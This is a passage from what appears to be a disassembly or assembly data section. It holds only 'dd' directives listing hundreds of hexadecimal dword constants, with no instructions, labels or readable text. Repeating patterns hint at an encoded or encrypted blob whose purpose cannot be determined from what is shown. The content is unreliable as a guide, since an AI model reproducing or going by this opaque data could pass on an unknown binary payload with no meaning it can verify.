4ABF5B02h, 6366D4A6h, 0BF5B0227h dd 66D4A64Ah, 249F9032h, 0CC7A1539h, 5B02DF6Bh, 0D3A64ABFh dd 9379499Ch, 7DF3818Ah, 2259ED78h, 1534005Ch, 95202612h dd 0DD15A907h, 0A30372D0h, 11C70C0Ah, 28BD8057h, 3CF1D22Ch dd 0E8DA1663h, 859F8703h, 0F5305D5Ah, 4FD95B4Ah, 3EE7E9B6h dd 73BF1A5Bh, 81903251h, 0E468B925h, 0E09ABC18h, 54F0861Ch dd 5A68B4C6h, 0DC782C9Eh, 0FDEB47C5h, 5CC50484h, 20960C30h dd 0ED782763h, 9BBF75FAh, 0DC9CB364h, 68EC8200h, 546EB6C4h dd 82E4ED9Ch, 7870305Ch, 851BB0EDh, 0AA865C94h, 2391EB0Eh dd 1819032h, 0C5890978h, 1E8B305Ch, 55F8764Ch, 30C5DF27h dd 99FEEB7h, 7827635Bh, 0C4F3B3EEh, 871D305Ch, 96160FABh dd 1AB43220h, 5CC52767h, 0EDB41030h, 9551B59h, 0F1D31F85h dd 5B4AE220h, 8E874FD9h, 63E0220Eh, 0D95B4A27h, 871874Fh dd 564241h, 0B47C123Fh, 0C4DC7816h, 0CB6EA46h, 5CC51F9Fh dd 52430B30h, 0C4DBDBD6h, 6F35305Ch, 0B37F05D9h, 0D4A64A11h dd 83037E08h, 8D305CC5h, 0D9A3B717h, 0D5749805h, 7884FA25h dd 34EF61EDh, 13DF704Fh, 4A8C4EEFh, 636BD95Bh, 0D95B4A27h dd 3BDC786Bh, 469E1E77h, 2E42AE3Ch, 0FC5C0590h, 6174D349h dd 1F9F3B89h, 2F305CC5h, 5B020585h, 0D95B4ABFh, 5B03636Bh dd 1D5FF0B6h, 0A92DC3C1h, 883AF686h, 0DC780181h, 0F8A94339h dd 305CC4B8h, 0B2EE4A58h, 0F587A834h, 5B4A8F3Dh, 0DC786BD9h dd 0B5E9413Bh, 7801810Fh, 5CC58509h, 0A7158F30h, 5B4A2763h dd 27636BD9h, 90320181h, 413BDC78h, 0C185E0FDh, 0D89DCA8Ah dd 3595EE4Ah, 2ADE5B4Ah, 0BFBAEF29h, 3240F684h, 27671AB4h dd 0E9305CC5h, 814D7FBBh, 89097801h, 8B305CC5h, 0DC78AB19h dd 0EAF74339h, 4AE22058h, 636BD95Bh, 0D95B4A27h, 7EED786Bh dd 0ED1D3B5Ah, 0F18F230Fh, 26B87164h, 49A11071h, 0C5DC787Bh dd 9A1AEB47h, 0A4305CC4h, 0ADAA44Ah, 72D2AC4Eh, 0C57D3D74h dd 0D97305Ch, 53AF4EB6h, 5B02F2D0h, 0EF5B4ABFh, 31A735B7h dd 0EE782763h, 0FCAD2F66h, 305CC4BCh, 36E24E54h, 32EF5DDFh dd 0B3EE7890h, 305CC4F3h, 0DAAB871Dh, 305CC4DAh, 20585E4h dd 5B4ABF5Bh, 0A32171DDh, 5CC4AEEEh, 0AE3C6630h, 5B036338h dd 5C6ECA4Ah, 90320181h, 6BD95B4Ah, 428B432h, 0C57F3F72h dd 1391305Ch, 8117B57Dh, 0E9ED7801h, 7282ACEAh, 99991988h dd 297B305Ch, 58495F9Bh, 305C9A54h, 0B5F5AC46h, 5F305C99h dd 0A701ED45h, 5C99AAEAh, 0F28CA230h, 0A6FC9012h, 2763A210h dd 6BD95B4Ah, 0B5152763h, 6AD85A4Ah, 0F27B9032h, 0B6FFDB6Ch dd 6C082DA9h, 978A323h, 305CC589h, 63AB198Bh, 7A149227h dd 76436E3h, 0FDAC97A2h, 305C56BDh, 0A92B7B57h, 71B94F55h dd 26CF4D45h, 33732EB8h, 0DD305C57h, 8A6A36C7h, 6FA2E5BFh dd 0A0B30183h, 1639A537h, 2C049E66h, 0D609789Eh, 0DC37B5A9h dd 903210C6h, 41DBA54Ah, 960B8D85h, 305CC516h, 0DA16A4FEh dd 9F9032E8h, 88F9A139h, 0DBA54A09h, 4708541h, 27639E2Ch dd 0C5890978h, 198B305Ch, 0C492128Fh, 2082305Ch, 0E899336Fh dd 305CC3A8h, 97150C68h, 4BA7354Fh, 57EE7879h, 315374BAh dd 7617E384h, 305C6736h, 3216C4DEh, 740628B4h, 0EE780EBCh dd 57AFD166h, 0C55C5C4Dh, 0EEB4305Ch, 79B1CB6Eh, 0CC2BA5Dh dd 0B1119032h, 81BF5B02h, 0EC69B925h, 12587B5Fh, 966EFCC2h dd 78E6240Ch, 5CC58909h, 0AB198B30h, 0C5890978h, 1E8B305Ch dd 55B7AC62h, 2B5DB88Fh, 5E6030C5h, 2CA5CF2h, 32B08CEEh dd 2763C4C6h, 0FCDCA54Ah, 4ACC99DCh, 6312C056h, 0B9258127h dd 0BF0DE597h, 0A74A9032h, 0DC7867D5h, 0E6FC403Ah, 0BF27870Ah dd 0BA08E098h, 1F9FE220h, 0B305CC5h, 67D3AD43h, 2B111A5h dd 0B515BF5Bh, 5D6A3D9Fh, 0A44A0D30h, 0F30549ECh, 992FB589h dd 3BA93F45h, 1819032h, 3C3EDC78h, 3842D4E0h, 0E048DEE4h dd 0C50B8B06h, 9B05305Ch, 5CC4A6E6h, 0A6346E30h, 9F276330h dd 88F9A139h, 0DAA44A09h, 78276364h, 0B9E3FCEDh, 0F95D50F7h dd 0EDC92153h, 32BE2C48h, 0DAA44A90h, 85903264h, 0EB91A521h dd 63A1891Bh, 4ABF5B02h, 6367D5A7h, 89097827h, 43305CC5h dd 0E7BDD153h, 2958F2ACh, 305CC569h, 9331F9ABh, 0A44A9032h dd 708440DAh, 0CEA8420Ah, 0DC78A062h, 0E7FD413Bh, 203C860Bh dd 6EBC2FC6h, 4DD89AB0h, 0B47C4BFEh, 0C51F9F16h, 112F305Ch dd 0F3ED78B1h, 0CCCCC518h, 44305C03h, 99B4CF5Eh, 6F0E72BEh dd 205FFE97h, 0B4A4A47h, 0D8CA305Ch, 0B1A3A34Dh, 0B5154B79h dd 403ADC78h, 0C357E6FCh, 3397CA42h, 0CE6357A3h, 5B811CAEh dd 748A5E2Eh, 3262A088h, 760428B4h, 0C62008BAh, 0B682FC1Eh dd 0D5A74A14h, 4A276367h, 44CE2A6h, 2AB884F6h, 32500694h dd 460228B4h, 0FE3AC8B2h, 931D9FCCh, 782D35BFh, 0C4F3B3EEh dd 871D305Ch, 91EB0FABh, 78276323h, 0FD413BDCh, 0ABD567E7h dd 35E1495Bh, 78E55B21h, 0EA46C4DCh, 0ED780CB6h, 744DA448h dd 0F8F020Ch, 1305BEFh, 24250DA3h, 0A7D2162h, 2B11170h dd 0DC78BF5Bh, 0CFEB47C5h, 63E3512Bh, 0C7B15B03h, 4CE1657Fh dd 4AC2C028h, 0E0A0D1A7h, 0CA305CC4h, 5CC4D7D7h, 2B6B3930h dd 0C584047Dh, 168C305Ch, 0CE58F280h, 0B78FF106h, 0C53C7C2Dh dd 0CED4305Ch, 9032A062h, 66D4A64Ah, 0A619B432h, 6EBA6BE6h dd 4D2FC084h, 8507F3F1h, 57F89511h, 3F763814h, 2B210D8h dd 0A74ABF5Bh, 276367D5h, 66D4A64Ah, 46C4DC78h, 3A0A7486h dd 0E17D40A8h, 59A5D765h dd 4ADDEF4Bh, 0B540DAA4h, 0DE5A050h, 0F1D31F02h, 69F9032h dd 7684DA57h, 64DAA44Ah, 3C3EDC78h, 4A59E9F4h, 7864DAA4h dd 0AE64EBEDh, 0F03864FAh, 0EB9F06BCh, 3F746367h, 0D7618A6h dd 65CD93CFh, 78B111A7h, 0C4F3B3EEh, 871D305Ch, 0E54DCFC7h dd 0BE26D079h, 3A42D79Bh, 0FA4AD8EAh, 4A8200E8h, 6364DAA4h dd 0C6B65B03h, 0A44A586Ah, 903264DAh, 0E0F9929Fh, 585A2C8h dd 4ABF5B02h, 8440DAA4h, 16960B8Dh, 0FE305CC5h, 0E8DA16A4h dd 46C4DC78h, 810CE4FEh, 0EC69B925h, 0C29EB599h, 62C25062h dd 0D6D2D64h, 0FDA7305Ch, 4A01836Fh, 3267D5A7h, 420628B4h dd 7173D3ADh, 0AA2A7BE3h, 0A44A7C4Eh, 903264DAh, 0BDBA54Ah dd 0D06EC37Eh, 11B5B2DDh, 84047DFBh, 8C305C5Eh, 22BC8016h dd 5C5E2F6Fh, 1AC3E130h, 0ECAB57F6h, 83FD12BAh, 0FBC921A3h dd 4ABF5B02h, 35B3E3A7h, 5CC53C7Ch, 38CED430h, 0BE48DEE4h dd 2FACE627h, 1BD7684Dh, 4A2763A9h, 6364DAA4h, 0D4A64A27h dd 0A9197A08h, 428B432h, 0DC14AE76h, 0D5A74AEEh, 28B43267h dd 1AA87406h, 181ECDEh, 0C5850978h, 158F305Ch, 4A2763A7h dd 7867D5A7h, 0FC403ADCh, 3870AE6h, 0ED78B515h, 24CA863Eh dd 617EC35Ah, 8D512BCEh, 2D8961F7h, 78FF6D0Fh, 9E089BEDh dd 39F11121h, 6C7BFFE5h, 0FD7B79D1h, 63F3566Eh, 5AE8932Eh dd 9784939h, 305CC589h, 63AB198Bh, 0C5129F27h, 4A22305Ch dd 6360D6A0h, 0B4ED7827h, 610C812Bh, 7D3D7406h, 97305C0Ch dd 5CF1250Dh, 9032AA18h, 60D6A04Ah, 2F9B9032h, 1A3EED78h dd 21D037FBh, 0FEB91A5h, 4A983AE3h, 0AA43D5A7h, 6C56370h dd 0EEDC1464h, 8D6A0363h, 0EB8F92ECh, 811DAF8Bh, 4A903201h dd 2E4CE0A0h, 883ECCD6h, 0C6202763h, 0C85FB1Eh, 305CC58Ch dd 0CC881E84h, 0F68C502Ah, 1F9F883Ah, 2F305CC5h, 5B02B111h dd 4AB515BFh, 548ED2A7h, 86E47483h, 0F64E30C6h, 32E85EECh dd 0C5209F90h, 720C305Ch, 5CC57F3Fh, 4B139130h, 780ADA5Ah dd 0A44A12B0h, 574E0ADAh, 0F61609D5h, 7859D57h, 0AB17A53Fh dd 0BF5B02F9h, 30D2635Dh, 2238384h, 78270000h, 0F43C3EDCh dd 9D53D1C0h, 1E9F9032h, 0A305CC5h, 76CEA842h, 0E7C0D96Ch dd 1DD90FD5h, 5B4AF7D5h, 27636BD9h, 48EDA54Ah, 3CD2D02Ch dd 28B4328Eh, 1BA97507h, 0DC78EDDFh, 779B4339h, 4FAB3905h dd 0A65C02BEh, 0A54AEC53h, 8C8541DBh, 78E22008h, 0C4F3B3EEh dd 871D305Ch, 2DB826ABh, 0CCC5E873h, 305BD2CCh, 1CCF5E44h dd 94A6265Dh, 0A0881AEAh, 0D5A74A62h, 0C4DC7867h, 0CB6EA46h dd 65DBA54Ah, 5859032h, 3C3EDC78h, 0EA16E2E0h, 0A74A9743h dd 0A331B3E3h, 4A27632Dh, 6365DBA5h, 0D2A74A27h, 0F76CB1AFh dd 8331C780h, 0DC789032h, 0E7FD413Bh, 477F7A0Bh, 11E97BEBh dd 0BF5B02B1h, 67D5A74Ah, 0A74A2763h, 0B92AD4D2h, 942A5538h dd 4A903226h, 326BD95Bh, 2B11190h, 90019B5Bh, 305CC510h dd 7456A200h, 46C4DC78h, 0A5E1B0B7h, 2612AB00h, 0AF1D5FF2h dd 5B4A2763h, 90326BD9h, 0EB47649Fh, 5B4A8C7Bh, 4C5957DEh dd 36D71746h, 7B4DD8B7h, 455DF9B5h, 638331C7h, 78386903h dd 98305CC5h, 6E88730Ah, 8177738Dh, 0A74A1BA9h, 903267D5h dd 4238DC78h, 67D3C2F6h, 0A715ABD5h, 0A64A9032h, 0AA4C08D4h dd 0D6760CD0h, 2BE03CBEh, 0D9B644E5h, 0BF5B02E9h, 43D5A74Ah dd 21098B9Bh, 6A0363E3h, 0AC422DAEh, 0E57072D2h, 63CF23DDh dd 320181A1h, 422919B4h, 103B06FCh, 5B4AEAD8h, 73874FD9h dd 43AF3509h, 78276341h, 311C64EDh, 5A6F1DEAh, 4ED963C9h dd 0A3ED45DBh, 3ADC781Dh, 0AE6FC40h, 5CC53B7Bh, 0B1110B30h dd 0F3B3EE78h, 1D305CC4h, 0A647AB87h, 35911574h, 0FA875FDDh dd 64A186BCh, 0D018AEDCh, 0D5A74AF2h, 9F903267h, 53A65C23h dd 0B2376FF7h, 31F76062h, 0A58D2344h, 0C9951167h, 0B2326327h dd 76C25052h, 0BF5B0254h, 67D5A74Ah, 1812763h, 5B4A9032h dd 8E874FD9h, 44AC360Eh, 20276346h, 0C51F9FE2h, 112F305Ch dd 0BF5B02B1h, 2C049115h, 643F39BDh, 51FFCD25h, 9C9h, 0D5A74AF1h dd 28B43267h, 15AF7705h, 169FEFDDh, 2305CC5h, 0DC94B5Ah dd 66A48CE8h, 5B02F456h, 0D2635DBFh, 3B838430h, 3000005h dd 0F8372B6Ah, 0A8808A9Eh, 78E2201Ah, 0F43C3EDCh, 5CC49515h dd 0B6EB8530h, 305CC4F6h, 0E43842D6h, 4ECB6DEh, 2058586h dd 0B515BF5Bh, 66D4A64Ah, 1819032h, 0D066EE78h, 0E34B56AEh dd 5F0E6A57h, 0CEC68614h, 0A5E5E44Ch, 6F305C41h, 4B0AA335h dd 0F7FF588Dh, 63794BA7h, 8CED7827h, 0C0B789E7h, 2AC8C8B9h dd 5A48305Ch, 179D6CC4h, 0F4DAAC2h, 75C9B347h, 4A01836Fh dd 6366D4A6h, 35ED7827h, 0F69F0017h, 5D9E1E93h, 2C76305Ch dd 0D266529Eh, 90323AA8h, 5CC5449Fh, 13BF2C30h, 19B5B02h dd 5CC51090h, 56A20030h, 0D4A64A74h, 4769A42h, 27639E2Ch dd 66D4A64Ah, 1819032h, 0DC789032h, 0E2E03C3Eh, 631B6716h dd 0E2A64A27h, 0E1ED31B3h, 89E2CB0h, 60B5E77Eh, 0DE44F478h dd 59A5277Eh, 63DDEF4Bh, 0CDB66A03h, 48B35E7Bh, 0A64A22E0h dd 903266D4h, 47C5DC78h, 0B8FD1AEBh, 856FF272h, 9A1A9721h dd 7A305CC4h, 2C2C028h, 0DC78BF5Bh, 0E1E34339h, 0F389AD09h dd 4A27637Dh, 7867D5A7h, 0F43C3EDCh, 0EE780AB8h, 5CC4F3B3h dd 0AB871D30h, 95A7EB0Fh, 32E755EBh, 0DBA54A90h, 0D3AD4F0Bh dd 0DB829673h, 2BEE41Fh, 0EE78BF5Bh, 5CC4F3B3h, 0F5871D30h dd 5CC4FCBCh, 0A28E1430h, 2B99E376h, 25812763h, 1DE193B9h dd 4A32C787h, 8200E8FAh, 5D54EE78h, 305CC55Dh, 0FCBCEDB7h dd 0DC305CC4h, 54524238h, 5CC55D5Dh, 5FEDB730h, 4A655F93h dd 6366D4A6h, 0FDED7827h, 63D6B862h, 0CCC4F038h, 9032984Eh dd 0FC1EC620h, 4A14B682h, 636AD85Ah, 0D85A4A27h, 0B3EE786Ah dd 305CC4F3h, 77AB871Dh, 0C51F9F4Dh, 112F305Ch, 0BF5B02B1h dd 6AD85A4Ah, 413BDC78h, 383CD1FDh, 0E048DEE4h, 5A4AA51Dh dd 0ED786AD8h, 0A07EA0BBh, 2A46B200h, 0C51F9FB8h, 112F305Ch dd 0BF5B02B1h, 6AD85A4Ah, 38690363h, 305CC578h, 0D4B8BA50h dd 4AA062CEh, 326AD85Ah, 88258190h, 6F6F5666h, 879531ACh dd 5F9B29F5h, 8909786Dh, 8B305CC5h, 9032AB19h, 4ED85A4Ah dd 0BEAF57B7h, 7FBB05A7h, 0B3EE784Dh, 305CC4F3h, 26AB871Dh dd 8909789Ch, 8B305CC5h, 0E19BBD19h, 0C468F4AEh, 9C546EB6h dd 0C3ED782Eh, 0B086D6B8h, 23AAEA93h, 26B4097Ah, 0E5A5DCCAh dd 2F305BF3h, 8F208A72h, 67F570EBh, 665438D5h, 0C88F5AB9h dd 2763A260h, 0F3B3EE78h, 1D305CC4h, 7250AB87h, 5CADA89Fh dd 0B8E87430h, 4ACCFE3Ah, 326BD95Bh, 0E8F27B90h, 54654ADBh dd 0DC784B3Bh, 0FFE9413Bh, 5CC50282h, 0E35DE830h, 49EAB609h dd 9FB6B53Fh, 6973690Eh, 11C7DD81h, 0A04A2763h, 903260D6h dd 5D72339Fh, 0A04A0330h, 276360D6h, 0C87ED78h, 38A5DA92h dd 4436C4F0h, 79FB2AB2h, 0F1D31FA5h, 5B4A9032h, 70874FD9h dd 0D3A94C08h, 0BB97173h, 0D366EE78h, 5A4F55A9h, 305CC55Ah dd 0BD00E8BAh, 0D6A04A05h, 3EDC7860h, 16E2E03Ch, 0A74A3F8Bh dd 903267D5h, 47C5DC78h, 20087087h, 89855F21h, 0B1117330h dd 0D281ED78h, 63045394h, 10C26B97h, 4729ED78h, 0BFB1FEECh dd 7A13AA01h, 15DDABF5h, 7AE88CA1h, 403ADC78h, 870AE6FCh dd 0D2A74A03h dd 0F8A2DFEDh, 36A43A0Ch, 5B4A9032h, 5AB64FD9h, 0BC05EFA5h dd 32E1230Fh, 0D6A04A90h, 0CEA8420Eh, 0C26B9576h, 874F5B30h dd 0AD370F71h, 0DC784745h, 8AF64238h, 0A74A37E3h, 0D3334DE3h dd 638D43D1h, 39DC7827h, 2EC3F743h, 0EE78984Eh, 5CC4F3B3h dd 0F5871D30h, 5CC4FCBCh, 0A28E1430h, 1D9F540Eh, 2D308985h dd 5B020585h, 0B3EE78BFh, 305CC4F3h, 0FAB871Dh, 63DC92EAh dd 0D5A74A27h, 0F699DB71h, 78903288h, 0C4F3B3EEh, 0BDD5305Ch dd 0E54D573Fh, 0EE5CE031h, 0E2202763h, 5CC51F9Fh, 710B30h dd 305CC580h, 0E4261290h, 5B020585h, 4AB515BFh, 3266D4A6h dd 0E2A64A90h, 469E2C4Eh, 7873533Ch, 5CC58909h, 0AB198B30h dd 0E2202763h, 66D4A64Ah, 46C4DC78h, 0F1B1E0FEh, 23305CC4h dd 0BA07F381h, 0BE3E912Ch, 14F170D3h, 1FA57903h, 7863A189h dd 0E9413BDCh, 9D5329CDh, 6C38ED78h, 0B9109FDh, 9FD1F32Fh dd 305CC51Fh, 78B1112Fh, 0FD413BDCh, 46E70BE7h, 91E725B0h dd 349FDE32h, 0A64ACEFCh, 9F1D74D0h, 4C4C3D47h, 0C4305CC5h dd 24BE48DEh, 5CC52D6Dh, 75BDE730h, 4A276357h, 3266D4A6h dd 3BDC7890h, 9818E941h, 0A6305CC4h, 5B02B111h, 0EC45029Bh dd 0BA89A84Ah, 0A64A4C7Eh, 276366D4h, 4AEDA54Ah, 42D0D232h dd 2BD2E7E2h, 73C7A1DBh, 32CCB2DDh, 0D4A64A90h, 0B3EE7866h dd 305CC4F3h, 0D99BB11Dh, 1E97F05h, 0E70BD3EDh, 0FF3B4995h dd 0D85A4ACDh, 0ED78CFB7h, 0C8284B6Dh, 89E5AA6h, 5C841599h dd 37A5FF30h, 0BA6A0363h, 0D36A8FBDh, 4A0EBC74h, 9A42D4A6h dd 14940D8Bh, 0FC305CC5h, 80CC10A6h, 0B1790F6Dh, 15276313h dd 46B51B5h, 9D50000h, 394B9B19h, 0EE78D3F1h, 5CC4F3B3h dd 0AB871D30h, 5C96D4DAh, 3D2BC230h, 0C643081Ah, 7825E753h dd 5D5D54EEh, 0B7305CC5h, 0C4FCBCEDh, 8E14305Ch, 99E376A2h dd 0C4DC782Bh, 0C54F4F42h, 0E3C1305Ch, 7F3F14Dh, 2581F9EBh dd 1DE193B9h, 7819AB87h, 0FC403ADCh, 0E59C0AE6h, 305CC4A5h dd 7887356Fh, 0E34339DCh, 1A8409E1h, 6DE98B2h, 9F16B47Ch dd 305D6B82h, 96E80ED6h, 0A04A685Ah, 0EE7860D6h, 5CC4F3B3h dd 0AB871D30h, 0A2DF6977h, 305CC4E2h, 0AB87032h, 4AEE5A4Ah dd 40D6EC30h, 0D5ADE6FCh, 403ADC78h, 383FEE8h, 0D305CC5h dd 27632197h, 8CBD0A9Fh, 0A04A7A3Eh, 5FADBAD1h, 0F187839Dh dd 2058FF67h, 2763FAC8h, 60D6A04Ah, 0E9F9032h, 7E3E8CBDh dd 5B020585h, 0D6A04ABFh, 81276360h, 89097801h, 8B305CC5h dd 9032AB19h, 5D54EE78h, 305CC55Dh, 0FCBCEDB7h, 14305CC4h dd 502ACE8Eh, 6A1E3C98h, 5A64B83Ah, 5CC56727h, 65FBA930h dd 903261D7h, 24C99511h, 1F9DF450h, 5B02F1D3h, 0B92581BFh dd 17C3EC69h, 4EB53CD4h, 925E64B8h, 89097830h, 8B305CC5h dd 0DC78AB19h, 0FCEA46C4h, 5CC50585h, 27950F30h, 1812763h dd 0A04A9032h, 899844D6h, 0C512920Fh, 0A002305Ch, 78B03212h dd 4A27634Ah, 326AD85Ah, 4AE22090h, 354CEE5Ah, 84BC1669h dd 72009694h, 0A3D97CD8h, 0DBE94143h, 0ED782763h, 6514A701h dd 19BD7518h, 55F18B09h, 5D67BF3Dh, 0DC783795h, 0BBF74339h dd 0C51F9F09h, 4A2F305Ch, 4E0ADAA4h, 8E0DD1ABh, 0C83BC766h dd 0BF5B029Ah, 4ED85A4Ah, 7AF828B4h, 5CC58707h, 0B31B8930h dd 0B416E262h, 0A74A2763h, 0B43267D5h, 0AF770528h, 78EFDD15h dd 0C4F3B3EEh, 831D305Ch, 5CC58E0Eh, 8E1C8630h, 0C4E3A3A2h dd 4AF3305Ch, 6367D5A7h, 0D7196A03h, 0F4CE262Eh, 5A4A8E3Ch dd 90326AD8h, 67D5A74Ah, 0B1119032h, 4ABF5B02h, 786AD85Ah dd 0F64238DCh, 69E27BEBh, 0B8EF2EF4h, 4AC5C733h, 9B43D5A7h dd 0E321098Bh, 5A4A2763h, 90326AD8h, 0F18B2581h, 5CC50080h dd 1F921030h, 305CC49Fh, 0C5C73371h, 0C5890978h, 198B305Ch dd 0B3EE78ABh, 305CC4F3h, 2C507BE4h, 0B4D8DB5Eh, 97695FEEh dd 0C58F553Ch, 7893316Dh, 0C4F3B3EEh, 831D305Ch, 5CC58E0Eh dd 8E1C8630h, 9C1E76A2h, 8127632Eh, 89097801h, 71305CC5h dd 0E438BCD5h, 0FBAF4FDEh, 0E9FC59B6h, 91475D01h, 0B5152763h dd 90320181h, 80D2A74Ah, 0EF6DA482h, 0F82E1A5Eh, 0ED78F46Ah dd 2934BB61h, 0AC31F98Ch, 0A9E99832h, 6B305C5Eh, 9FD3F139h dd 305CA9D3h, 66EE7863h, 4E54A8D2h, 5CC55B5Bh, 3EFB530h dd 48FE7E97h, 1819032h, 0D066EE78h, 0E44C56AEh, 5CC4A5E5h dd 87356F30h, 0ED782763h, 0C054F750h, 239123BAh, 0E2AF35A4h dd 1CB204E0h, 0E797178Ah, 2B79305Bh, 4A0381CFh, 786BD95Bh dd 0C4F3B3EEh, 871D305Ch, 4A9C26ABh, 0B64FD95Bh, 217821ABh dd 0EAA731DAh, 305C94AAh, 0D2F0386Ah, 1F9F9032h, 2F305CC5h dd 0EE78B111h, 5CC4F3B3h, 0AB871D30h, 4A74A647h, 35B7EF5Bh dd 0ED7831A7h, 7ED4428h, 0D0DD1537h, 9FE22072h, 305CC51Fh dd 0D252430Bh, 47D4D63Bh, 0CD25B62Bh, 0D5A74AFFh, 0D1AB4D09h dd 0B756BE0Dh, 43A3D97Dh, 0E6E4B341h, 15BF5B02h, 0D85A4AB5h dd 8190326Ah, 89097801h, 8B305CC5h, 0C524641Dh, 0A915305Ch dd 0F76DBCF6h, 6903A1EDh, 5C1C7838h, 740A9830h, 9F2763C6h dd 305CC51Fh, 0D85A4A2Fh, 27EEB74Eh, 0DE87D467h, 2763B012h dd 0ECDE5B4Ah, 0A258A976h, 0B046C4DCh, 9032AC22h, 50DF5A4Ah dd 0E0414576h, 328F3DD3h, 0DBA54A90h, 0D6564F0Bh, 56F7190Eh dd 3C008292h, 0B7EF10A6h, 29B5B02h, 3B31273Ch, 0F3D1191Ch dd 6BD95B4Ah, 5A4A2763h, 27636AD8h, 0EE780181h, 5CC4F3B3h dd 4837E430h, 4C4C42E0h, 0D9C86240h, 305C36D9h, 6D81693Bh dd 0D95B4A77h, 8190326Bh, 66EE7801h, 4E54A8D2h, 0C49FE3E2h dd 571305Ch, 2AB884F0h, 0B75A0294h, 635F6DC5h, 0EF5B4A27h dd 15A735B7h, 640B7378h, 8961EAB1h, 1527633Bh, 0B3B99FB5h dd 4A89305Ch, 3264DAA4h, 78018190h, 5CC58909h, 0AB198B30h dd 0F3B3EE78h, 1D305CC4h, 6DE9EB1h, 0BF02EE7Ch, 91509F0Bh dd 0B01C305Ch, 0E6A6DB9Dh, 2E305C90h, 0B80AE674h, 67D5A74Ah dd 628B432h, 0C5810170h, 1193305Ch, 0C921A383h, 780181FBh dd 5CC58909h, 0AB198B30h, 0A44A2763h, 708440DAh, 1EA83A0Ah dd 5CC52363h, 7BB7ED30h, 3ADC7849h, 3F71B540h, 100306C4h dd 9F6DD5D8h, 305D79F7h, 0C4DC7847h, 28CEEA46h, 9032E056h dd 9780181h, 305CC589h, 0F68F198Bh, 0CD8CF9B7h, 0A765CD8Ch dd 0A0B32763h, 9788137h, 37B5A9D6h, 7810C6DCh, 0FE46C4DCh dd 1810CE4h, 90320181h, 4AECA44Ah, 40D6EC30h, 79ED7892h dd 9F863C23h, 0ED555890h, 1F9FE220h, 0B305CC5h, 63CFA943h dd 2B111A1h, 0B515BF5Bh, 5CB56F9Fh, 0A74A9F30h, 903267D5h dd 97B92581h, 0AF8B19E5h, 0C4DC781Dh, 9738646h, 6543AF35h dd 5CC56C2Ch, 62F65E30h, 72BEC418h, 0EB82148Eh, 16319264h dd 9634FCD7h, 25812763h, 0C496168Bh, 247E305Ch, 3F1DDA91h dd 806836E6h, 4A903202h, 786BD95Bh, 0DEB4DBEDh, 66C0D8D3h dd 0E35DE8F8h, 0A728769h, 9131BC74h, 66D4A64Ah, 671AB432h dd 305CC527h, 7021BBE9h, 305CC530h, 5476C2E0h, 0A64AE220h dd 9AE074D0h, 4949384Ah, 31305CC5h, 5CC54040h, 0C2D2D030h dd 639C52E0h, 0DAA44A27h, 78903264h, 0C4F3B3EEh, 871D305Ch dd 0BBD0EEF6h, 33FFCD6Dh, 5CA65252h, 789C3830h, 48A02202h dd 0DAA44A7Ah, 0F8D8440h, 4745AD37h, 0A64A2763h, 0C4E1A1D0h dd 7133305Ch, 0C2BF49E3h dd 305CC4C2h, 2A985052h, 0F3B3EE78h, 1D305CC4h, 4DE361B1h dd 781B49E5h, 0E9413BDCh, 16562BCDh, 0D2412310h, 328F3DD3h dd 2B11190h, 0A64ABF5Bh, 276366D4h, 64DAA44Ah, 0A64A2763h dd 903266D4h, 5CC51F9Fh, 0B1112F30h, 4ABF5B02h, 9A42D4A6h dd 9935098Bh, 0BB770577h, 4A276309h, 324CE2A6h, 0A842D0D2h dd 0C523631Eh, 0B7ED305Ch, 9032497Bh, 0EE780181h, 30CB5A57h dd 5CB64141h, 44D1D330h, 0DF1B270Bh, 5C046E2Eh, 89F8A630h dd 305C0409h, 0F789AF0Bh, 321DD361h, 0D85A4A90h, 9032CFB7h dd 4DE2A64Ah, 75D1D333h, 56049AE2h, 0E2202763h, 5CC51F9Fh dd 95112F30h, 644473F8h, 4EC6222h, 9B5B0286h, 0C5109001h dd 0A200305Ch, 0B5157456h, 0EE780181h, 4EAAD466h, 5CC4FFBFh dd 0DD931130h, 1812763h, 671AB432h, 305CC527h, 0D41BBCE9h dd 591579FCh, 155D6FCBh, 37A0B3B5h, 86097881h, 7637B5A4h dd 0F8304AEEh, 32D88E14h, 32018190h, 0D1A74A90h, 5CC4E0A0h dd 25753030h, 963CF06Ah, 0BBF68016h, 305C60FBh, 4BF98F15h dd 0A44A2763h, 0B43264DAh, 0E27BF928h, 0E687DABh, 0EAD810E4h dd 133DED78h, 7481FF8h, 81DFE52Bh, 4A903201h, 7864DAA4h dd 0E03C3EDCh, 3F8B16E2h, 0F3B3EE78h, 0D5305CC4h, 4F553943h dd 9F675DE3h, 305CC51Fh, 0DBA54A2Fh, 0D7A94F0Bh, 0CB79720Fh dd 8531955Eh, 6D8D2CC0h, 0EE78CCB2h, 5CC4F3B3h, 0EAAAE730h dd 2A305CC4h, 0A28E1478h, 15439F3Eh, 0DAA44AB5h, 0B3EE7864h dd 305CC4F3h, 77AB871Dh, 0C51F9F4Dh, 112F305Ch, 0D69F895h dd 0B0C9A27Eh, 0DC784A78h, 0E2E03C3Eh, 9743EA16h, 20DDA44Ah dd 10A6F5B0h, 7870E674h, 0E8403ADCh, 0A44A5DE5h, 9E2C4EECh dd 0CFAA400Ch, 655B7BD2h, 5DA1379Dh, 32D9EB47h, 0E74419B4h dd 0BE70B4C9h, 1F9F5072h, 2F305CC5h, 86FB9511h, 305CC506h dd 6E5C940Eh, 339B5B02h, 30925E1Eh, 64DAA44Ah, 4B5B0363h dd 836F75C9h, 0DAA44A01h, 39DC7864h, 2DBBF743h, 4EC70A1h dd 78018186h, 0A53C57EEh, 5452BED1h, 1CADED9Ch, 3D67305Ch dd 7890328Fh, 0E03C3EDCh, 8CA216E2h, 27637CF2h, 0C841EC7Bh dd 0E6C35AD8h, 0ABE570D9h, 2A547E2Fh, 78754D46h, 5CC58909h dd 16E47130h, 0D5BD07DBh, 2C6C25B7h, 0E4305C17h, 148E72BEh dd 782763A6h, 0C4F3B3EEh, 871D305Ch, 4A7250ABh, 3260D6A0h dd 54B39F90h, 78837F9Eh, 0EB47C5DCh, 9D532DCFh, 0CB9F2763h dd 0BB32A180h, 6BD95B4Ah, 5A4A2763h, 90326AD8h, 7A99EF9Fh dd 5A4A1F74h, 3636AD8h, 6ECA4A5Bh, 0D85A4A5Ch, 0C8E864Eh dd 0B432E624h, 0A9750728h, 9FEDDF1Bh, 3783F368h, 2058590h dd 0DC78BF5Bh, 0D3FF47C5h, 44AC42C2h, 0CC24050h, 5B4A2763h dd 90326BD9h, 4339DC78h, 51D3C3F7h, 4A9032E3h, 4E0ADAA4h dd 